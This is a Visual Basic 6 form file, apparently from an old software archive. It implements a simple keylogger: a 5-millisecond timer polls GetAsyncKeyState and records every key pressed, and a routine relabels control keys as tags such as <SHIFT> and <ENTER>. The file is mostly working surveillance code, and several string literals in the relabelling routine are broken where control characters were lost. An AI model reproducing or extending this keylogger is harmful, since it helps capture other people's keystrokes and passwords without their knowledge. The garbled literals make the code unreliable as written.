home *** CD-ROM | disk | FTP | other *** search
- VERSION 5.00
- Object = "{3B7C8863-D78F-101B-B9B5-04021C009402}#1.2#0"; "RICHTX32.OCX"
- Begin VB.Form Form1
- Caption = "Form1"
- ClientHeight = 5655
- ClientLeft = 165
- ClientTop = 735
- ClientWidth = 7890
- LinkTopic = "Form1"
- ScaleHeight = 5655
- ScaleWidth = 7890
- StartUpPosition = 3 'Windows Default
- Begin RichTextLib.RichTextBox rtbText
- Height = 855
- Left = 1080
- TabIndex = 0
- Top = 1440
- Width = 855
- _ExtentX = 1508
- _ExtentY = 1508
- _Version = 393217
- BackColor = 16777215
- ScrollBars = 3
- TextRTF = $"Form1.frx":0000
- End
- Begin VB.Timer Timer1
- Interval = 5
- Left = 2880
- Top = 1440
- End
- Begin RichTextLib.RichTextBox rtbCoded
- Height = 1335
- Left = 3240
- TabIndex = 1
- Top = 1920
- Visible = 0 'False
- Width = 975
- _ExtentX = 1720
- _ExtentY = 2355
- _Version = 393217
- ScrollBars = 3
- TextRTF = $"Form1.frx":00AE
- End
- Begin VB.Menu mnuFile
- Caption = "&File"
- Begin VB.Menu mnuFileExit
- Caption = "E&xit"
- End
- End
- Begin VB.Menu mnuView
- Caption = "&View"
- Begin VB.Menu mnuViewCopy
- Caption = "Copy"
- End
- Begin VB.Menu mnuViewView
- Caption = "Cod&e"
- End
- End
- Attribute VB_Name = "Form1"
- Attribute VB_GlobalNameSpace = False
- Attribute VB_Creatable = False
- Attribute VB_PredeclaredId = True
- Attribute VB_Exposed = False
- Option Explicit
- Private Sub Form_Resize()
- UpdateControls
- End Sub
- Private Sub mnuViewCopy_Click()
- Timer1.Enabled = False
- End Sub
- Private Sub mnuViewView_Click()
- If mnuViewView.Caption = "T&ext" Then
- mnuViewView.Caption = "Cod&e"
- rtbText.Visible = True
- rtbCoded.Visible = False
- Else
- mnuViewView.Caption = "T&ext"
- rtbText.Visible = False
- rtbCoded.Visible = True
- End If
- End Sub
- Private Sub rtbtext_Change()
- Call Code(rtbText, rtbCoded)
- End Sub
- Private Sub Timer1_Timer()
- Dim KeyLoop As Byte, FoundKeys$, KeyResult As Long
- For KeyLoop = 1 To 127
- KeyResult = GetAsyncKeyState(KeyLoop)
- If KeyResult = -32767 Then
- rtbText.Text = rtbText.Text & Chr(KeyLoop)
- End If
- Next
- End Sub
- Sub Code(from As RichTextBox, into As RichTextBox)
- ' Remove clicks
- from.Text = Replace(from.Text, "
- ", "") 'Asc(
- ) = 1
- ' Remove extra shifts - Two right next to each other
- Do While from.Find("
- ") <> -1
- from.Text = Replace(from.Text, "
- ") 'Asc(
- ) = 16
- Loop
- ' Remove extra ctrls - Two right next to each other
- Do While from.Find("
- ") <> -1
- from.Text = Replace(from.Text, "
- ") 'Asc(
- ) = 17
- Loop
- ' Remove extra alts - Two right next to each other
- Do While from.Find("
- ") <> -1
- from.Text = Replace(from.Text, "
- ") 'Asc(
- ) = 18
- Loop
- into.Text = from.Text
- into.Text = Replace(into.Text, "
- ", "<BACKSPACE>") '08
- into.Text = Replace(into.Text, Chr(9), "<TAB>") '09
- into.Text = Replace(into.Text, Chr(13), "<ENTER>") '13
- into.Text = Replace(into.Text, "
- ", "<SHIFT>") '16
- into.Text = Replace(into.Text, "
- ", "<CTRL>") '17
- into.Text = Replace(into.Text, "
- ", "<ALT>") '18
- into.Text = Replace(into.Text, "
- ", "<CAPS LOCK>") '20
- End Sub
- Sub UpdateControls()
- If Me.Height > 685 Then
- rtbCoded.Height = Me.Height - 685
- End If
- rtbCoded.Left = 0
- rtbCoded.Top = 0
- If Me.Width > 120 Then
- rtbCoded.Width = Me.Width - 120
- End If
- If Me.Height > 685 Then
- rtbText.Height = Me.Height - 685
- End If
- rtbText.Left = 0
- rtbText.Top = 0
- If Me.Width > 120 Then
- rtbText.Width = Me.Width - 120
- End If
- End Sub
-